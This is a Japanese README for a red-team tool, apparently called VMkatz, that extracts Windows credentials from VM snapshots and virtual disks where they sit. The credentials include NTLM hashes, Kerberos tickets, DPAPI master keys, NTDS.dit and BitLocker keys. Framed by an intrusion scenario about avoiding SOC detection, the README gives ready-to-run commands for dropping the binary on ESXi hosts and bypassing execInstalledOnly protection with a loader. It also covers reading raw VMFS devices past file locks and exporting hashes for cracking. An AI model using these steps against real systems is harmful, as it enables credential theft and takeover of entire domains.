
VMメモリスナップショットと仮想ディスクからWindowsの資格情報を直接抽出する
レッドチーム演習を開始して3週間が経過した。あなたのトラフィックはVPNを経由し、4つのSOCKSプロキシをチェーンで渡り歩いた後、ようやくターゲットネットワークに到達する。すべてのパケットは回り道を強いられる。
数日間のラテラルムーブメントの後、仮想化クラスタに接続されたNASにたどり着く。ディレクトリ一覧は異様なものだ: .vmdk、 .vmsn、 .sav ファイルが延々と並んでいる。何百ギガバイトもの仮想マシン – ドメインコントローラー、管理者用ワークステーション、まさに王冠の宝石 – がそこに置かれている。
しかし、回線速度は200 KB/sしか出ない。100 GBのディスクイメージを1つ引き抜くだけで 6日 かかり、1時間でも持続的な持ち出しを続ければ、SOCが異常を察知し、トンネルを焼かれ、チェーン全体が崩壊するリスクがある。
VMkatzは、その場で読み取れるものをわざわざ外部に持ち出す必要はない、という考えから生まれた。VMメモリスナップショットや仮想ディスクからWindowsの秘密 – NTLMハッシュ、DPAPIマスターキー、Kerberosチケット、キャッシュされたドメイン認証情報、LSAシークレット、NTDS.dit、BitLockerキー – を直接抽出する。NAS上でも、ハイパーバイザー上でも、VMファイルが存在する場所ならどこでも動作する。
単一の静的バイナリ、約3 MB。ESXiホスト、Proxmoxノード、またはNASにドロップする。 .vmsn、 .vmdk、あるいはVMフォルダ全体を指定する。ディスクイメージではなく、認証情報だけを持ち帰る。
mimikatzが実装している9つのSSP資格情報プロバイダすべて:
さらに:メモリからのBitLocker FVEK抽出(FVEc/Cngb のプールタグスキャン)。
$DPAPImk$ — モード15300/15310/15900/15910)対象OS: Windows Server 2003 ~ Windows Server 2025 / Windows 11 24H2(x86 PAE + x64)。
# VMwareスナップショットからLSASS認証情報を抽出
./vmkatz snapshot.vmsn
# ページアウトされた認証情報の解決にページファイルを使用
./vmkatz --disk disk.vmdk snapshot.vmsn
# 仮想ディスクからSAM/LSA/DCC2を抽出
./vmkatz disk.vmdk
# ドメインコントローラーディスクからADハッシュを抽出
./vmkatz --ntds dc-disk.qcow2
# VMフォルダを指定してすべてを自動検出
./vmkatz /path/to/vm-directory/
# 生レジストリハイブから抽出
./vmkatz SAM SYSTEM SECURITY
# Hashcat対応ハッシュとして出力
./vmkatz --format hashcat snapshot.vmsn
# Kerberosチケットをエクスポート
./vmkatz --kirbi snapshot.vmsn # .kirbiファイル
./vmkatz --ccache snapshot.vmsn # .ccacheファイル
# dislocker用にBitLocker FVEKをエクスポート
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# パス下のすべてのVMを再帰的にスキャン
./vmkatz -r /vmfs/volumes/datastore1/
# LSASSミニダンプを解析
./vmkatz lsass.dmp
# ESXi用にクロスコンパイル(musl静的リンク)
cargo build --release --target x86_64-unknown-linux-musl
# アップロードして実行
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
VIB保護(execInstalledOnly)が有効な場合は、Pythonローダーを使用してください。設定を無効にする必要はありません。
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
VIBバイパスの詳細、VMFS生デバイスアクセス、自動発見については、docs/esxi.mdを参照してください。
VMkatzはモジュール化されています。機能はコンパイル時に有効/無効にできます。
cargo build --release # 完全ビルド
cargo build --release --no-default-features --features vmware # VMwareのみ
cargo build --release --no-default-features --features "sam ntds.dit" # ディスクのみ
| プロバイダ | データ | 備考 |
|---|
| MSV1_0 | NT/LMハッシュ、SHA1 | ページアウトされたエントリのための物理スキャン方式 |
| WDigest | 平文パスワード | リンクリスト走査 + .data フォールバック |
| Kerberos | AES/RC4/DES鍵、チケット(.kirbi/.ccache) | AVL木走査 + 解放されたセッションからのチケットカービング |
| TsPkg | 平文パスワード | RDPセッションのみ |
| DPAPI | マスターキーキャッシュ(GUID + 復号されたキー) | オフラインDPAPI復号のためのSHA1マスターキー |
| SSP | 平文認証情報 | msv1_0.dll 内の SspCredentialList |
| LiveSSP | 平文認証情報 | livessp.dll が必要(Win8以降では稀) |
| Credman | 保存済み認証情報 | ハッシュテーブル + 単一リスト列挙 |
| CloudAP | Azure ADトークン | 通常はローカルログオン時には空 |
| フォーマット | 拡張子 | ソース | ステータス |
|---|
| VMwareスナップショット | .vmsn + .vmem | Workstation、ESXi | テスト済み |
| VMware埋め込みスナップショット | .vmsn(.vmemなし) | ESXiサスペンド | テスト済み |
| VirtualBox保存状態 | .sav | VirtualBox | テスト済み |
| QEMU/KVM savevm状態 | 自動検出 | Proxmox、QEMU | テスト済み |
| QEMU/KVM ELFコアダンプ | .elf | virsh dump | テスト済み |
| Hyper-V保存状態 | .vmrs | Hyper-V 2016+ | 未テスト |
| VMware仮想ディスク | .vmdk(スパース+フラット) | Workstation、ESXi | テスト済み |
| VirtualBox仮想ディスク | .vdi | VirtualBox | テスト済み |
| QEMU/KVM仮想ディスク | .qcow2 | QEMU、Proxmox | テスト済み |
| Hyper-V仮想ディスク | .vhdx、.vhd | Hyper-V | テスト済み |
| VMFS-5/6 生SCSIデバイス | /dev/disks/... | ESXi(ファイルロックをバイパス) | テスト済み |
| LVMブロックデバイス | /dev/... | Proxmox LVM-thin | テスト済み |
| 生レジストリハイブ | SAM、SYSTEM、SECURITY | reg save | テスト済み |
| 生NTDS.dit | ntds.dit + SYSTEM | ドメインコントローラー | テスト済み |
| LSASSミニダンプ | .dmp | procdump、タスクマネージャー | テスト済み |
| VMディレクトリ | 任意のフォルダ | 全ファイルを自動発見 | テスト済み |
| フォーマット | フラグ | 説明 |
|---|
text | --format text(デフォルト) | セッションメタデータ付きの完全な認証情報ダンプ |
brief | --format brief | 認証情報1行あたり1行のコンパクトな要約 |
ntlm | --format ntlm | DOMAIN\user:::hash::: pwdump形式 |
hashcat | --format hashcat | 生ハッシュ:モード1000(NTLM)、2100(DCC2)、15300/15900(DPAPI) |
csv | --format csv | 機械可読、全フィールド |
| 機能 | 説明 | デフォルト |
|---|
vmware | VMware .vmsn/.vmem スナップショットサポート | はい |
vbox | VirtualBox .sav 保存状態サポート | はい |
qemu | QEMU/KVM ELFコアダンプ + Proxmox savevm | はい |
hyperv | Hyper-V .vmrs/.bin/.raw ダンプサポート | はい |
sam | ディスク抽出(SAM/LSA/DCC2)+ ディスクフォーマットハンドラ | はい |
ntds.dit | NTDS.dit AD抽出。sam が必要 | はい |
carve | 部分/切り詰められたメモリからの劣化抽出 | はい |
dump | プロセスメモリのミニダンプとしてのダンプ | はい |
vmfs | ESXi SCSIデバイス用のVMFS-5/6生パーサー。sam が必要 | はい |